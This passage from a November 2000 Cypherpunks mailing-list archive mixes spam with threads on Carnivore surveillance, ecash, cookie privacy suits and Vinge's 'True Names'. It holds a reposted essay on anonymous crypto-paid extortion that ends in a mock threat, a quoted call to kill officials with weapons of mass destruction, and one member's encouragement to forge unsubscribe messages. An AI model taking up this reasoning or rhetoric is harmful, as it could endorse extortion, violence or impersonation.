company's information and reports in an email newsletter. Looknofurther has agreed to electronically disseminate this publication for $2000. You are currently subscribed to Looknofurther, to unsubscribe send a blank email to: cassie380 at excite.com From nobody at remailer.ch Tue Nov 28 18:01:08 2000 From: nobody at remailer.ch (Anonymous) Date: 29 Nov 2000 02:01:08 -0000 Subject: CDR: Re: Imagine In-Reply-To: <3A239F3B.FE0A51E4@ccs.bbk.ac.uk> Message-ID: <484e4845b4813e8512ebb22877e9f83d@remailer.ch> Ken Brown wrote: > And what's more some of these non-existent female professors even have > web pages. Sorry. Care to name one? > prominent non-teaching posts. Uppsala has large numbers of female > "Doktorand", who I presume are what here in England we'd call > "lecturer." For most of the readers of this list, they would be > "professor". Doctoral student. From bill.stewart at pobox.com Tue Nov 28 23:07:36 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 29 Nov 2000 02:07:36 -0500 Subject: CDR: Re: Vinge In-Reply-To: References: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> Message-ID: <3.0.5.32.20001128212446.009dfe00@idiom.com> At 10:24 PM 11/28/00 -0500, Tim May wrote: >Considering that the new edition of "True Names" is just about to >appear, and has a bunch of related essays in it, I certainly wouldn't >have paid $25 for the pb. *Is* it finally about to appear? It's been just about to appear Real Soon Now for the last couple of years, I gather due to Stupid Publisher Tricks. It'd be nice if it finally happens. Meanwhile, A Local Cypherpunk has my copy (relatively large print paperback, found for about $4 in a used book store); there was at some point a plot to scan and OCR the thing, though I'm not sure that ever materialized. >> Used book stores -- sigh! Sure wish I could afford to quit the >>computer racket and run a used book store instead. > >A _physical_ used book store? Surely you are kidding. My experience >is that used book stores are employers of low-wage >people...suggesting slim profit margins. My wife used to program for a calendar publishing company, located upstairs from the used book store operated by the same people. The bookstore was an expensive habit, subsidized by the real business; fortunately the size of the place (large but full) put limits on the owners' bookbuying frenzies :-) Of course, if you're in the SF Bay Area and *want* to work in a used bookstore, there's a local religious cult that runs a really good one in downtown Mountain View. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From mix at anon.lcs.mit.edu Tue Nov 28 19:00:15 2000 From: mix at anon.lcs.mit.edu (lcs Mixmaster Remailer) Date: 29 Nov 2000 03:00:15 -0000 Subject: CDR: Extortion Explosion Message-ID: <20001129030015.25628.qmail@nym.alias.net> This great anonymous posting from **1992** shows just how farsighted the cypherpunks list was in its early days. Enjoy... Extortion Explosion Introduction: Governments are in the extortion-and-protection racket, as are some well-known smaller ventures. Why do these major organizations spend effort on protecting, instead of just extorting? Current protection rackets maintain a monopoly and manage "their" resources for sustained yield. Without protection, their revenues would decline through a tragedy of the commons mechanism. Other rackets would threaten the same victims, piling extortion on extortion, until the economic field is bare. Crypto technologies promise to liberate us from government extortion and the "protection" of victimless crime laws by enabling the growth of a new sphere of economic activity based on voluntary, secret transactions. But are these technologies so limited in their power? New opportunities in the extortion industry: Old problem: the victim may inform the police, making it risky to pick up the money, which will likely be watched. New solution: demand payment via cryptomoney. Old problem: if you build a reputation for carrying out your threats, parasitic competitors can issue threats in your name, collecting while your reputation is good but destroying your reputation by not following through on threats. New solution: authenticate your threats and demands with digital signatures. Old problem: you may be caught firebombing the house, shooting the victim, slashing the victim's daughter's face, or whatever; if you subcontract to a thug, the thug may be caught and inform on you. New solution: use cryptomoney (and a reputation for paying) to hire thugs while maintaining anonymity. Old problem: providing protection, so that you keep a supply of economically viable victims from whom to extort. New solution: Please find one! If the government can't protect victims from you, how can you protect them from competitors? If this analysis is correct, then crypto technologies will make extortion a highly profitable growth industry, making the security of property and persons (outside tightly-knit walled communities?) incompatible with the continued existence of free computer networks as we know them. Rather than suffering from a single oppressor with an incentive to keep us productive, we would become prey to an unbounded number, each competing to strip our assets before they vanish. Society will surely suppress free networks once this starts to happen; the harder it is to suppress free networks, the greater the oppression will be. Some objections and answers: Q:Isn't it too bleak and pessimistic to believe that the best we can do is to help our oppressors to maintain their monopoly on oppressing us? A1: The Soviet Union was established as a result of a movement that aimed to overthrow an oppressive order. Millions then died under an even more oppressive order. This was bleak, but it happened anyway. A2: Better one oppressor than many, all competing to be the first to kill and eat the goose, knowing that they can't get the golden eggs anyway. A3: Profit is a powerful motive, and conventional profitable activities are imitated and expanded until demand saturates. Crypto-extortion should be highly profitable, but the "supply" is delivered by force, so there is no problem with competitors saturating the "demand" until the victims are drained quite dry. This gives grounds for pessimism. Q: Doesn't the enormous potential of this technology for expanding liberty outweigh these theoretical dangers? What about our hopes and dreams, our vision of a better world? A: These hopes spring from a theoretical social and economic analysis of the impact of crypto technologies, and cryptomoney in particular. The above line of reasoning extends the same analysis. I hope it is wrong, and would be greatly relieved to hear a convincing reason for dismissing it. If it stands, the prospect seems to be either the destruction of society by free networks, or the destruction of free networks by society. The longer we can postpone this choice, the better. Q: Won't cryptomoney be so hard to establish that there's no point in worrying about this? A: If so, then there is equally well no benefit in attempting to implement it. The question is, are there any conditions for "success" that don't generate disaster? Saying the gun probably isn't loaded isn't an argument for putting it to your head and pulling the trigger. Q: Isn't it too late to stop these technologies? A: For public key communication (secrecy and authentication), probably yes. For cryptomoney, possibly no. Most of the benefits of crypto technology seem to come from the former, and most of the danger of an extortion explosion seems to come from the latter. Wishful thinking in the pursuit of liberty is no virtue; realism in the defense of imperfect liberty is no vice. Free-lance oppression isn't freedom, and I don't want it. Cassandra 9531290065272860 P.S. Your neighbor didn't pay me, and his house is ash. Will you pay me? All I ask this month is $100, which you can well afford. (Next month is negotiable, and I can't speak for my competitors.) From notify at egroups.com Tue Nov 28 20:32:01 2000 From: notify at egroups.com (eGroups) Date: 29 Nov 2000 04:32:01 -0000 Subject: CDR: Confirm your request to register for eGroups Message-ID: <975472321.78395@egroups.com> Hello, You are receiving this because someone has requested to register the email address cypherpunks at toad.com with eGroups, a free email group service. To complete your registration, we need to verify that your email address is valid and that you do wish to register with our service. To continue with registration, please follow the confirmation steps below: 1. Go to the Web site: http://www.egroups.com/register?confirm&email=cypherpunks at toad.com 2. Enter the following authorization number: 68947 To access the eGroups Web site, please visit: http://www.egroups.com If you did not request, or do not want, an eGroups account, please accept our apologies and ignore this message. Regards, eGroups Customer Support IMPORTANT NOTE: If you believe your email address has been registered with eGroups without your consent, please forward a copy of this message to egroups-abuse at yahoo-inc.com From notify at egroups.com Tue Nov 28 20:33:24 2000 From: notify at egroups.com (eGroups) Date: 29 Nov 2000 04:33:24 -0000 Subject: CDR: Confirm your request to register for eGroups Message-ID: <975472404.78612@egroups.com> Hello, You are receiving this because someone has requested to register the email address cypherpunks at toad.com with eGroups, a free email group service. To complete your registration, we need to verify that your email address is valid and that you do wish to register with our service. To continue with registration, please follow the confirmation steps below: 1. Go to the Web site: http://www.egroups.com/register?confirm&email=cypherpunks at toad.com 2. Enter the following authorization number: 68947 To access the eGroups Web site, please visit: http://www.egroups.com If you did not request, or do not want, an eGroups account, please accept our apologies and ignore this message. Regards, eGroups Customer Support IMPORTANT NOTE: If you believe your email address has been registered with eGroups without your consent, please forward a copy of this message to egroups-abuse at yahoo-inc.com From mdnhsfjk at themail.com Wed Nov 29 06:39:26 2000 From: mdnhsfjk at themail.com (mdnhsfjk at themail.com) Date: Wed, 29 Nov 2000 06:39:26 -0800 Subject: CDR: Software Development from Russia! ($15-$20 per hour) Message-ID: <20001129063926.0bb5c658886a11d485df0001023a8e63.in@tron.webannex.net> Dear IT Manager: Please consider deploying our highly skilled off-shore programmers on your e-commerce and software development projects. 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Awaiting for your favourable response. THANKING YOU For Thakkar Stationers Mr.Sudhir Thakkar Export Executive _____________________________________________________ Chat with your friends as soon as they come online. Get Rediff Bol at http://bol.rediff.com Participate in crazy auctions at http://auctions.rediff.com/auctions/ From anarchie at metaverse.org Wed Nov 29 04:22:24 2000 From: anarchie at metaverse.org (Peter Tonoli) Date: Wed, 29 Nov 2000 07:22:24 -0500 Subject: CDR: Re: Carnivore Probe Mollifies Some In-Reply-To: Message-ID: I've been thinking about Carnivore for days. I can't really see the data that it collects/spews forth being anywhere near uncontestable. On Tue, 28 Nov 2000, Tim May wrote: > At 5:48 PM -0500 11/28/00, David Honig wrote: > >At 06:54 AM 11/28/00 -0500, Ken Brown wrote: > >>Of course if they leave the machine [Carnivore] in the cage you can always > >stop > >>feeding it electricity. Or take it home to show the neighbours. It might > >>make a good conversation piece at dinner. Or maybe use it as an ashtray. > > > >>At 10:36 PM 11/27/00 -0500, Tim May wrote: > >>CALEA has some onerous language in it, but it doesn't trump the > >>Fourth Amendment. > > > > > >You could try the Carnivore box against an implemention of your Second > >Amendment rights. Unless the chassis were hardened you'd win. These are probably obvious points but.. Is Carnivore going to be simply a software/OS specification, or all round including hardware? What's to stop the provider being in collusion with whoever's being monitored, and 'unplugging' the UTP whenever sensitive data is being sent out? Worse still, what's to stop spoofed packets/data being injected (by your friendly law officers) into carnivore to incriminate those being monitored. Likewise, is there some sort of protocol to on similar situations (well same ball-park), say voice-wiretaps, that prevents evidence tampering? Is there some sort of specification for this thing, or was the so called research performed on this thing done under complete NDA? > Generally, I hope CALEA/Carnivore gets challenged all the way to the > Supreme Court. I don't see how it holds up in any court. Peter -- From hseaver at harmon.arrowhead.lib.mn.us Wed Nov 29 05:24:45 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Wed, 29 Nov 2000 08:24:45 -0500 Subject: CDR: Re: Vinge References: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> Message-ID: <3A25037E.3DA1D0CC@harmon.arrowhead.lib.mn.us> Tim May wrote: > Well, this is what you get for not reading--or at least not > remembering--list traffic. The forthcoming "True Names" re-issue has > been discussed several times, including mentions in the last few > months by both myself and, IIRC, Bill Stewart. > > Here's what I wrote the last time the "The Ungoverned" was discussed" > > "Vinge just won a second Hugo Best Novel for "A Deepness in the Sky," > so maybe this means the long-delayed re-issue of "True Names" will > finally happen. (Alas, my essay for it was written several years ago, > so is even more out of date. From the instant publishing on the Net > to several years' delay in publishing in pulpspace.)" > Yes, I remember you saying "maybe this means...." --- but when? I want to read it now. > > Also, a simple query of Amazon turns up the re-issue of "True Names." > And they also say "March 2001", but given the fact that the print industry is much like the software industry in vaporous publishing dates, who knows when?. Amazon compounds this by advertising all sorts of books, etc. that they don't have in hand. But I'll probably buy the new edition when it comes out. I spend ridiculous amounts of money on books every month anyway. Just went to one of those remaindered book outlets last weekend and bought 6-7 books, then went to Barnes & Noble and bought more. Like I said, I'd really be happy running a used book store. Guess I'm just a book freak. > > --Tim May > -- > (This .sig file has not been significantly changed since 1992. As the > election debacle unfolds, it is time to prepare a new one. Stay tuned.) From rah at shipwright.com Wed Nov 29 05:27:00 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 29 Nov 2000 08:27:00 -0500 Subject: CDR: Authenticate the "adult field", go to jail... Message-ID: ...an argument for bearer credentials if there ever was one... Cheers, RAH --------- http://fortworthstartelegram.com/news/doc/1047/1:METRO21/1:METRO211127100.html Updated: Monday, Nov. 27, 2000 at 22:49 CST `Some terrible, terrible pictures' -- Jury picked to hear case of a Web porn company By Toni Heinzl Star-Telegram Staff Writer FORT WORTH -- Prosecutors warned federal jurors Monday that they will be shown "some terrible, terrible" pictures during the trial of a Fort Worth couple on charges involving child pornography on the Internet. Before nine men and three women were selected for what is expected to be a weeklong trial, attorneys outlined some of the key issues. They told jurors that they will learn about the world of adult entertainment on the Internet, so-called adult verification services that check subscribers' credit card numbers and hand out passwords, and the criminal underground of child pornography. After hearing that pornographic pictures of children will be shown to the jury, a woman in the jury pool told U.S. District Judge Terry Means, "I might need counseling after this is over." She was not selected for the jury. Thomas Reedy, 37, and his wife, Janice Reedy, 32, of Fort Worth, are accused in an 87-count indictment of providing access to several child-porn Internet sites by verifying subscribers' credit cards and assigning them passwords. The Reedys maintain that they did not know that some of the pornographic sites they provided access to contained illegal child pornography. The Reedys and their company, Landslide Inc.,which they operated from their home, are accused of sexual exploitation of minors, distributing child pornography and related charges in a conspiracy with two Indonesian Web masters, R.W. Kusuma and Hanny Ingganata, and Russian Web master Boris Greenberg. According to the indictment, the foreign Web masters started and operated the child pornography Web sites, and the Reedys controlled subscribers' access to the sites beginning in 1997. The business netted more than $1 million, the indictment said. If convicted, the couple could be sentenced to life in prison. The company could be fined up to $500,000 per count and face forfeiture of all of its assets. During questioning of prospective jurors, Assistant U.S. Attorney Terri Moore warned, "You're going to have to view some terrible, terrible pictures. Some people might not be able to handle it." According to the indictment, some of the sites have titles that leave nothing to the imagination, such as "Children Forced to Porn" and "Child Rape." Prosecutors have said that most of the children depicted appear to be about 10 or 11. The images include still photographs and videos and portray, for example, children in lewd poses and children being raped by adults, according to the indictment. The Reedys have a 9-year-old daughter who lives with her paternal grandfather. During questioning, several prospective jurors said they objected strongly to adult entertainment on the Internet in general, saying it made no difference to them whether the conduct was between consenting adults or involved children. "There's no need for this kind of stuff," said one woman who was not selected for the jury. During questioning of one prospective juror, Janice Reedy's attorney, Mike Heiskell, made the analogy of a ticket seller at a movie theater being prosecuted for the objectionable content of a movie. A prospective juror stood up to argue with Heiskell. "There are guidelines for movies in the theaters. You can read the reviews," the woman said. "The Internet does not have that regulation. I find that question ridiculous." The woman was not selected for the jury. Federal authorities have not been able to arrest the foreign Web masters and bring them to trial in federal court in Fort Worth. U.S. Attorney Paul Coggins said Monday that it could take years to extradite them. "We have forwarded it to the Justice Department's Office of International Affairs in Washington," Coggins said. "We are holding up hope that we're going to bring the Indonesians and the Russian to justice in the United States." Toni Heinzl, (817) 390-7684 theinzl at star-telegram.com © 2000 Star-Telegram, Fort Worth, Texas -- Terms and Conditions Serving the online community since 1982! -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From schear at lvcm.com Wed Nov 29 08:29:37 2000 From: schear at lvcm.com (Steve Schear) Date: Wed, 29 Nov 2000 08:29:37 -0800 Subject: CDR: Industry Standard: Legislating Cookies Message-ID: <4.3.2.7.0.20001129082745.0529e8b0@pop3.lvcm.com> Legislating Cookies By John Roemer November 28, 2000 In the absence of legislation written specifically to regulate Net privacy, should a 14-year-old wiretapping law be applied to Internet privacy issues? Two federal class actions filed last week raise this question, claiming that online ad companies violate federal laws by tracking consumers' browsing habits without their permission. Filed in Denver against Excite at Home subsidiary MatchLogic and in Redmond, Wash., against the online advertiser Avenue A, the suits complain that the two companies planted cookies on consumers' hard drives to track their Web habits for commercial purposes, thereby violating the Electronic Communications Privacy Act, passed by Congress to deter wiretapping, and the Computer Fraud and Abuse Act. As concerns about Internet privacy grow, legal experts believe that the outcome of these two suits could shape the development of future Net privacy practices. If the judges decide that existing wiretapping laws forbid the practice of tracking consumer information via cookies, Web advertisers will face legal liability for cookie use unless they are scrupulous about notifying consumers of the practice. Conversely, if the courts decide that the existing wiretapping laws don't forbid the use of cookies without adequate notification, it could be open season for advertisers to harvest and sell information about site visitors, at least until Congress drafts new legislation to govern consumers' privacy rights in cyberspace. Although both companies declined to comment on the suits, attorneys at the powerhouse class-action firm Milberg Weiss Bershad Hynes & Lerach who joined both suits are trying to convince the judges that the existing law regulating wiretapping can also be applied to the Web. They argue that the online advertisers accessed consumers' information without their knowledge, using a method similar to one a wiretapper would use to intercept a phone conversation. But Denver attorney Philip Gordon, an expert in wiretapping statutes and a fellow of the nonprofit Privacy Foundation, points out that Congress intended ECPA to protect the content of communications, such as the words spoken in a phone conversation, not transactional data, such as the number dialed and the length and cost of the call. In Web usage, that transactional information is of value to advertisers. Gordon noted that the cases might turn on whether the defendants can show that users reviewed and understood the privacy policies that were posted on the sites. Another hurdle for the plantiffs is whether all of Net users' experiences are sufficiently similar for the cases to qualify as a class action. The outcome, whichever direction it takes, is likely to clarify an area of Internet law that remains murky, at least for the time being. "Internet law is simply not developed in this area," Gordon says. "Ideally, the courts should grapple with these issues and decide if federal statutes can be applied to the novel technologies presented." Online Ad Companies Hit With Privacy Suits http://news.cnet.com/news/0-1005-200-3821026.html Review: Online Toy Stores Fall Short on Privacy Protection (InfoWorld) http://tm0.com/thestandard/sbct.cgi?s=64852336&i=281243&d=672624 Privacy Foundation http://www.privacyfoundation.org From hseaver at harmon.arrowhead.lib.mn.us Wed Nov 29 05:35:22 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Wed, 29 Nov 2000 08:35:22 -0500 Subject: CDR: Re: Vinge References: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> <3.0.5.32.20001128212446.009dfe00@idiom.com> Message-ID: <3A2505FB.8FCA55D7@harmon.arrowhead.lib.mn.us> Bill Stewart wrote: > Of course, if you're in the SF Bay Area and *want* to work in > a used bookstore, there's a local religious cult that runs > a really good one in downtown Mountain View. > Hot Damn! Thanx loads, Bill -- you've just given me a real clue on how I can make a bundle in the book store business. Let's see, I have a degree in religious studies from the UofWI, and long held ordination papers from the Universal Life Church, and ...... Hmm, I also own six old offset presses, and have another degree in creative writing, so I can pump out lots of screed. I wonder who I could get to cast some images of Jim Bell hanging on a cross? From declan at well.com Wed Nov 29 07:19:11 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 29 Nov 2000 10:19:11 -0500 Subject: CDR: Re: Carnivore Probe Mollifies Some In-Reply-To: ; from tcmay@got.net on Tue, Nov 28, 2000 at 11:40:10PM -0500 References: <3b14d4561626c38c96b65593c0236992@noisebox.remailer.org> <3.0.6.32.20001128142838.0080adc0@pop.sprynet.com> Message-ID: <20001129104128.A13802@cluebot.com> On Tue, Nov 28, 2000 at 11:40:10PM -0500, Tim May wrote: > I want Bush to become President so I can see at least a few years of > another party in power before going ahead and advocating that they Maybe. But there is a substantial law and order wing in the Republican Party led by snoophappy folks like Bill McCollum, who shared the stage with Bush at rallies. That by itself guarantees that at least some GOPers will be pushing for more surveillance than done under Clinton. Further, many of the important day-to-day decisions are left up to mid-level bureaucrats and not all are among the 2,000 or so presidential appointees. Finally, some of the conservative groups that have been most vocal in Carnivore-opposition will not be as eager to criticize a Bush administration. And I can't see liberals at PFAW etc. being quite as aggressive. I should write an article about the above. > ALL be killed and that Weapons of Mass Destruction be used to > eliminate the nest of vipers on the Potomac. Sure you haven't done that already? :) -Declan From honig at sprynet.com Wed Nov 29 07:21:48 2000 From: honig at sprynet.com (David Honig) Date: Wed, 29 Nov 2000 10:21:48 -0500 Subject: CDR: Re: Survey meters. In-Reply-To: <3A25103C.CC448359@ccs.bbk.ac.uk> References: <001901c059e1$dddaedc0$8f1287cb@naveed> Message-ID: <3.0.6.32.20001129071944.0081a210@pop.sprynet.com> At 09:29 AM 11/29/00 -0500, Ken Brown wrote: >I was 99% sure that these posts were some sort of spam-scam, whose >purpose I didn't quite get. (Am I falling for it by replying?) > >we don't now anything >about scintillation meters (I haven't used one since September). We may or may not know anything about detecting radiation but we are *certainly* amused at clueless Pakis shopping for meters for their government. Think I'll start looking for some KI again.. Or maybe it *was* an appropriate post and the Pakis want to build radiation-based RNGs... yeah, that's the ticket. From declan at well.com Wed Nov 29 07:22:19 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 29 Nov 2000 10:22:19 -0500 Subject: CDR: Re: Vinge In-Reply-To: <3A2505FB.8FCA55D7@harmon.arrowhead.lib.mn.us>; from hseaver@harmon.arrowhead.lib.mn.us on Wed, Nov 29, 2000 at 08:35:22AM -0500 References: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> <3.0.5.32.20001128212446.009dfe00@idiom.com> <3A2505FB.8FCA55D7@harmon.arrowhead.lib.mn.us> Message-ID: <20001129104558.B13802@cluebot.com> On Wed, Nov 29, 2000 at 08:35:22AM -0500, Harmon Seaver wrote: > > Hot Damn! Thanx loads, Bill -- you've just given me a real clue on how > I can make a bundle in the book store business. Let's see, I have a degree > in religious studies from the UofWI, and long held ordination papers from > the Universal Life Church, and ...... Hmm, I also own six old offset > presses, and have another degree in creative writing, so I can pump out > lots of screed. I wonder who I could get to cast some images of Jim Bell > hanging on a cross? I've got some high-quality 35mm slide images of Bell if you need 'em. :) www.mccullagh.org -Declan From bill.stewart at pobox.com Wed Nov 29 10:24:34 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 29 Nov 2000 10:24:34 -0800 Subject: CDR: Re: Lost password In-Reply-To: References: <975510976.7843@egroups.com> Message-ID: <3.0.5.32.20001129102434.01b67d20@idiom.com> At 10:07 AM 11/28/00 -0800, Console Cowboy wrote: >Has anyone though about setting this list to only accept mail from it's >members? That would seem to solve quite a few of these issues (issues >meaning lots of spam, like 2-5 messages a day of spam from this address.) Newbie, eh? We probably haven't discussed this for a month or so. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From k.brown at ccs.bbk.ac.uk Wed Nov 29 02:27:38 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Wed, 29 Nov 2000 10:27:38 +0000 Subject: CDR: Re: Imagine References: <484e4845b4813e8512ebb22877e9f83d@remailer.ch> Message-ID: <3A24DA19.34105231@ccs.bbk.ac.uk> Anonymous wrote: > > Ken Brown wrote: > > > And what's more some of these non-existent female professors even have > > web pages. Sorry. > > Care to name one? > > > prominent non-teaching posts. Uppsala has large numbers of female > > "Doktorand", who I presume are what here in England we'd call > > "lecturer." For most of the readers of this list, they would be > > "professor". > > Doctoral student. On the web pages I quoted in the posting you are replying to: http://www.uu.se/Adresser/Directory/HS.html#HS (Economic History) http://www.uu.se/Adresser/Directory/deps/HH8.html (History) we have references to Prof Ragnhild Lundstrvm, who I assume from the name is a woman. But, as I said, their are dozens of references to other female academics there who, to the Americans on the list) would count as "professors". Heck, in France, schoolteachers can be called Prof. Not that it matters because I doubt if anyone seriously thinks that that spoof has been anywhere near either Uppsala or Zimbabwe. It is still funny though. Ken From ericm at lne.com Wed Nov 29 10:28:49 2000 From: ericm at lne.com (Eric Murray) Date: Wed, 29 Nov 2000 10:28:49 -0800 Subject: CDR: Re: Lost password In-Reply-To: ; from everding@technomystic.org on Tue, Nov 28, 2000 at 10:07:47AM -0800 References: <975510976.7843@egroups.com> Message-ID: <20001129102849.C10845@slack.lne.com> On Tue, Nov 28, 2000 at 10:07:47AM -0800, Console Cowboy wrote: > > Has anyone though about setting this list to only accept mail from it's > members? It's been proposed many times, and each time there's a storm of protest that 1) anonymous remailers wouldn't be able to post (not true) and 2) spam is free speech (arguable when the recipients pay for its delivery). It won't happen any time soon. I filter out most of the spam by sending anything posted to the toad.com address to a seperate folder. The bulk of cypherpunks spam has historically been sent to the old toad address, although that seems to be changing. I also filter spam by running an experimental filter I wrote that recognizes spam text (www.lne.com/ericm/spammaster). Sometimes I forge unsubscribe messages to the spam lists that the cypherpunks list gets subscribed to... I encourage others to do the same. -- Eric Murray Consulting Security Architect SecureDesign LLC http://www.securedesignllc.com PGP keyid:E03F65E5 From fitz22 at earthlink.net Wed Nov 29 10:32:11 2000 From: fitz22 at earthlink.net (Jeff Fitzmyers) Date: Wed, 29 Nov 2000 10:32:11 -0800 Subject: [e-gold-list] ecash news Message-ID: Business 2.0: Citigroup to Push Ecash into Primetime. Citigroup and America Online certainly know about consumers. They are, after all, the world's leading financial institution and the top online service provider. Now the two bet that by joining forces, they can bring electronic-payment services into the mainstream... By 2005, market-research firm Ovum predicts, e-payment transactions will exceed $2.2 trillion... c2it will be free to users for the first three months, after which it will cost $2 for each person-to-person transaction. http://www.business2.com/content/channels/ebusiness/2000/11/28/23068 SJ Mercury: Jumping on bandwagon of eBay criticism. There's reason to believe -- maybe not now, but soon -- that eBay's $170 million acquisition of Billpoint, its online bill-payment service, may need to be re-examined. In the worst case, some people are predicting that eBay may even consider selling it.... A month ago, PayPal began imposing charges on sellers of 1.9 percent plus a 35-cent transaction fee, not unreasonable in the credit card world. And in a case of one company zigging while the other zags, Billpoint has suspended its ordinary 2.5 percent seller charge for Visa users over the holidays in an effort to gain market. http://www.mercurycenter.com/svtech/columns/front/docs/sh112700.htm From: http://www.tomalak.org/todayslinks/newsletter.html --- --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From sunder at sunder.net Wed Nov 29 09:13:36 2000 From: sunder at sunder.net (sunder) Date: Wed, 29 Nov 2000 12:13:36 -0500 Subject: CDR: CNN.com - U.S. Supreme Court strikes down drug roadblocks - November 28, 2000 References: <3A2401FB.E9B3C0A0@dev.tivoli.com> Message-ID: <3A253940.E0E0D7FE@sunder.net> From andrew.drapp at hitachi-eu.com Wed Nov 29 09:14:37 2000 From: andrew.drapp at hitachi-eu.com (Andrew Drapp) Date: Wed, 29 Nov 2000 12:14:37 -0500 Subject: CDR: RE: Jim Bell In-Reply-To: <20001128180014.30727.qmail@nym.alias.net> Message-ID: Anonymous wrote: > You're assuming an offline cash system with embedded identity. It is > more likely that initial digital cash implementations will be online. And... > Offline cash really can't compete. > Attempting to trace, identify, catch and punish double spenders will > be overwhelmingly more expensive than simply checking directly that the > cash hasn't been spent before. I have to day that I strongly disagree with the above. There are several current offline ecash systems which do not require expensive (or even require at all) systems on checking double spent value. Specifically I am referring to Mondex. While there are several disadvantages to Mondex, and the fact that it is not truly anonymous, it does currently allow secure offline transactions. Regards, Andrew Drapp -- Andrew Drapp PGP Encrypted Email Preferred (KeyID 65A52F89) ********************************************************************* E-mail Confidentiality Notice and Disclaimer This email and any files transmitted with it are confidential and are intended solely for the use of the individual or entity to which they are addressed. Access to this e-mail by anyone else is unauthorised. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited. E-mail messages are not necessarily secure. Hitachi does not accept responsibility for any changes made to this message after it was sent. Please note that Hitachi checks outgoing e-mail messages for the presence of computer viruses. ********************************************************************* From tcmay at got.net Wed Nov 29 09:21:16 2000 From: tcmay at got.net (Tim May) Date: Wed, 29 Nov 2000 12:21:16 -0500 Subject: CDR: Re: Vinge In-Reply-To: <3A2505FB.8FCA55D7@harmon.arrowhead.lib.mn.us> References: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> Message-ID: At 8:35 AM -0500 11/29/00, Harmon Seaver wrote: >Bill Stewart wrote: > >> Of course, if you're in the SF Bay Area and *want* to work in >> a used bookstore, there's a local religious cult that runs >> a really good one in downtown Mountain View. >> > > Hot Damn! Thanx loads, Bill -- you've just given me a real clue on how >I can make a bundle in the book store business. Let's see, I have a degree >in religious studies from the UofWI, and long held ordination papers from >the Universal Life Church, and ...... Hmm, I also own six old offset >presses, and have another degree in creative writing, so I can pump out >lots of screed. I wonder who I could get to cast some images of Jim Bell >hanging on a cross? The rants of C.J. Parker/Toto/Truthmonger might be better to build a cult around. As with Elron, volume counts. Sign up a few movie stars, open some "Circle of Eunuchs" cybercafe clearing centers, and pipe country porn through the PA system. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From sunder at sunder.net Wed Nov 29 09:36:02 2000 From: sunder at sunder.net (sunder) Date: Wed, 29 Nov 2000 12:36:02 -0500 Subject: CDR: (sans sujet) References: Message-ID: <3A253E82.5292D704@sunder.net> Olivierreni at aol.com wrote: > > Hie, > > Do you know a site where i can know how to make bombs ? > > Ciao Olivier Try: http://www.fbi.gov They'll teach you how. -- ----------------------Kaos-Keraunos-Kybernetos--------------------------- + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\ \|/ :aren't security. A |share them, you don't hang them on your/\|/\ <--*-->:camera won't stop a |monitor, or under your keyboard, you \/|\/ /|\ :masked killer, but |don't email them, or put them on a web \|/ + v + :will violate privacy|site, and you must change them very often. --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------ From gra at lhr.paknet.com.pk Tue Nov 28 23:36:25 2000 From: gra at lhr.paknet.com.pk (Anis Ahmed Sheikh) Date: Wed, 29 Nov 2000 12:36:25 +0500 Subject: CDR: Survey meters. Message-ID: <001901c059e1$dddaedc0$8f1287cb@naveed> Dear Sir, We request to draw your kind attention that we are one of the feading importers of Pakistan.We belive in planed and organised sale promotion through trained field staffs,preferably where we have sole agencies. Our business is of scientific & laboratory equipments,electric & electronic measuring equipments,agriculture equipments, NUCLEAR INSTRUMENTS and educational instruments . We are great intrested to enhanse business deal with your esteemed firm if we could get encouragement and coopration from your side. At present we are deeply intrested in SURVEY METERS , as we have received a tender enquiry from government department{NIAB FAISALABAD} whose last date is 14-12-2000 , the specification are given bellow:- i. Survey Meters, G.M.Sintilation detector, Threshold: 30MV +/- 10mV Meter dial: 0-2mT/hr and multiplier[X01,X1, X10,X100] (OR EQUIVALENT ANY MODELS) We know that you are one of few biggest manufacturers of the world,so that your are requested to plese inform us the prices on FAX or E.Mail and despatch us original brochures/litratures/leaflets of all type of above cited items by POST MAIL for our customers and endusers. We also request you to please despatch us your latest general catalogue comprehensive leaflets of all of your products those are under your export programme with latest pricelist and discount schedule, after rceving the litratures we can be able to creat the demand of your products through out Pakistan. Thanking and hoping to receive your earliest reply in this regards with best wishes. Best Regards. Anis Ahmad Sheikh(M.Sc Physics) Managing Director. Mailing/Postal address:- G.R.A. TRADING COMPANY, 13-ABKARI ROAD (ANARKALI) LAHORE-54000 PAKISTAN. PH; +92-42-7321688/7240189 FAX: +92-42 724 8358 E.MAIL gra at lhr.paknet.com.pk. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 3804 bytes Desc: not available URL: From obvious at beta.freedom.net Wed Nov 29 12:48:36 2000 From: obvious at beta.freedom.net 